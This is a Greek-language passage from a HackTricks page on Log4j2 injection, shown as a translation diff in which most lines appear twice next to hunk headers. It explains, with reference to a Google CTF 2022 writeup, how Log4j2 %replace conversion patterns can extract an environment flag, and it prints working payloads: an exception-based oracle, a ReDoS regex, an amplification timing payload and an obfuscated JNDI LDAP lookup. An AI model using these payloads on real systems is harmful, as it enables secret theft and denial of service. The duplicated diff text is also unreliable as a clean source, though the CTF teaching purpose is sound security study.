Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν το πρότυπο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.
### Πρότυπα Μετατροπής Με Ρυθμίσεις Regex
### Πρότυπα Μετατροπής Με Χρήση Κανονισμών Regex
Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν ορισμένα **πρότυπα μετατροπής που υποστηρίζουν regexes** για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας τη συμπεριφορά **δυαδικής αναζήτησης** ή **βασισμένη στο χρόνο**.
Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν ορισμένα **πρότυπα μετατροπής που υποστηρίζουν regexes** για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας **δυαδική αναζήτηση** ή συμπεριφορές βασισμένες στον χρόνο.
* **Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων**
Το πρότυπο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από ένα **συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Το πρότυπο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από ένα **συμβολοσειρά** ακόμα και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Καταχρώντας αυτήν τη συμπεριφορά μπορείτε να κάνετε την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταιριάζει** με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως αυτό:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
@ -384,7 +388,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Όπως αναφέρθηκε στην προηγούμενη ενότητα, το **`%replace`** υποστηρίζει **regexes**. Έτσι είναι δυνατόν να χρησιμοποιηθεί φορτίο από τη σελίδα [**ReDoS**](../regular-expression-denial-of-service-redos.md) για να προκαλέσει **timeout** σε περίπτωση που βρεθεί η σημαία.\
Για παράδειγμα, ένα φορτίο όπως `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα ενεργοποιούσε ένα **timeout** σε αυτό το CTF.
Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιήσει μια επίθεση ReDoS, χρησιμοποίησε μια **επίθεση ενίσχυσης** για να προκαλέσει διαφορά χρόνου στην απόκριση:
Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει διαφορά χρόνου στην απόκριση:
> ```
> /%replace{
@ -403,9 +407,9 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
> }{#}{######################################################}
> ```
>
> Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). **Κάθε ένα από τα 29 `#` στο τελικό αποτέλεσμα αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε συνολικά ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). **Κάθε ένα από τα 29 `#` που προκύπτουν αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε συνολικά ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
>
> Η αντικατάσταση τόσων `#` θα ενεργοποιήσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, με αποτέλεσμα να σταλεί στον χρήστη ο κωδικός κατάστασης HTTP 500. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-κωδικό κατάστασης 500)
> Η αντικατάσταση τόσων `#` θα ενεργοποιήσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, με αποτέλεσμα να σταλεί ο κωδικός κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-500 κωδικό κατάστασης)
## Αναφορές
@ -420,13 +424,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -434,6 +438,6 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>